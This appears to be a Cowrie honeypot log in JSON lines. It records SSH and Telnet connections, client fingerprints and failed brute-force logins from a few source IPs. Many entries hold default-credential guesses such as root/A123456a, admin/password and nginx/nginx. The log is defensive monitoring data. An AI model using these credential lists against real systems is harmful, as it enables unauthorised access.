{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:46.415710Z","src_ip":"193.151.144.93","session":"7b0b8aa5c9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:46.916494Z","src_ip":"193.151.144.93","session":"7b0b8aa5c9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:47.622200Z","src_ip":"23.97.62.150","session":"182bed18a885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:48.085839Z","src_ip":"193.151.144.93","session":"7b0b8aa5c9a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37522,"dst_ip":"159.203.135.109","dst_port":23,"session":"7672ff5f1117","protocol":"telnet","message":"New connection: 69.4.83.194:37522 (159.203.135.109:23) [session: 7672ff5f1117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:49.925086Z"}
{"eventid":"cowrie.session.closed","duration":35.988991022109985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:51.439056Z","src_ip":"69.4.83.194","session":"86a838b18eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35210,"dst_ip":"10.17.0.5","dst_port":22,"session":"5596ce567b5a","protocol":"ssh","message":"New connection: 193.151.144.93:35210 (10.17.0.5:22) [session: 5596ce567b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:51.725427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:51.730357Z","src_ip":"193.151.144.93","session":"5596ce567b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:51.904371Z","src_ip":"193.151.144.93","session":"5596ce567b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:52.428566Z","src_ip":"193.151.144.93","session":"5596ce567b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:54.498326Z","src_ip":"193.151.144.93","session":"5596ce567b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35214,"dst_ip":"10.17.0.5","dst_port":22,"session":"df852e766cad","protocol":"ssh","message":"New connection: 193.151.144.93:35214 (10.17.0.5:22) [session: df852e766cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:57.374714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:57.379937Z","src_ip":"193.151.144.93","session":"df852e766cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:57.546399Z","src_ip":"193.151.144.93","session":"df852e766cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:11:58.046317Z","src_ip":"193.151.144.93","session":"df852e766cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:00.060721Z","src_ip":"193.151.144.93","session":"df852e766cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35606,"dst_ip":"10.17.0.5","dst_port":22,"session":"f03f00a3b9ab","protocol":"ssh","message":"New connection: 193.151.144.93:35606 (10.17.0.5:22) [session: f03f00a3b9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.073826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.084512Z","src_ip":"193.151.144.93","session":"f03f00a3b9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.250247Z","src_ip":"193.151.144.93","session":"f03f00a3b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":48494,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbe9bd404997","protocol":"ssh","message":"New connection: 43.242.203.160:48494 (159.203.135.109:22) [session: dbe9bd404997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.548360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.558322Z","src_ip":"43.242.203.160","session":"dbe9bd404997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.789633Z","src_ip":"43.242.203.160","session":"dbe9bd404997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:03.851624Z","src_ip":"193.151.144.93","session":"f03f00a3b9ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:04.897267Z","src_ip":"43.242.203.160","session":"dbe9bd404997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:06.164521Z","src_ip":"43.242.203.160","session":"dbe9bd404997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:06.678644Z","src_ip":"193.151.144.93","session":"f03f00a3b9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35622,"dst_ip":"10.17.0.5","dst_port":22,"session":"871edd739a8a","protocol":"ssh","message":"New connection: 193.151.144.93:35622 (10.17.0.5:22) [session: 871edd739a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:08.671574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:08.676705Z","src_ip":"193.151.144.93","session":"871edd739a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:08.845196Z","src_ip":"193.151.144.93","session":"871edd739a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:09.360205Z","src_ip":"193.151.144.93","session":"871edd739a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:10.531231Z","src_ip":"193.151.144.93","session":"871edd739a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.64141583442688,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:11.184043Z","src_ip":"79.139.59.21","session":"f28f2d337ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37768,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b96442c4f3","protocol":"ssh","message":"New connection: 193.151.144.93:37768 (10.17.0.5:22) [session: 07b96442c4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:14.097980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:14.104085Z","src_ip":"193.151.144.93","session":"07b96442c4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:14.278843Z","src_ip":"193.151.144.93","session":"07b96442c4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:14.800736Z","src_ip":"193.151.144.93","session":"07b96442c4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:16.864408Z","src_ip":"193.151.144.93","session":"07b96442c4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37782,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad12a3b10b8a","protocol":"ssh","message":"New connection: 193.151.144.93:37782 (10.17.0.5:22) [session: ad12a3b10b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:19.564342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:19.569369Z","src_ip":"193.151.144.93","session":"ad12a3b10b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:19.752445Z","src_ip":"193.151.144.93","session":"ad12a3b10b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:20.268090Z","src_ip":"193.151.144.93","session":"ad12a3b10b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.626028060913086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:20.550980Z","src_ip":"69.4.83.194","session":"7672ff5f1117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:21.886371Z","src_ip":"193.151.144.93","session":"ad12a3b10b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37542,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb907e05017","protocol":"ssh","message":"New connection: 193.151.144.93:37542 (10.17.0.5:22) [session: 0fb907e05017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:25.063711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:25.069030Z","src_ip":"193.151.144.93","session":"0fb907e05017","protocol":"ssh"}
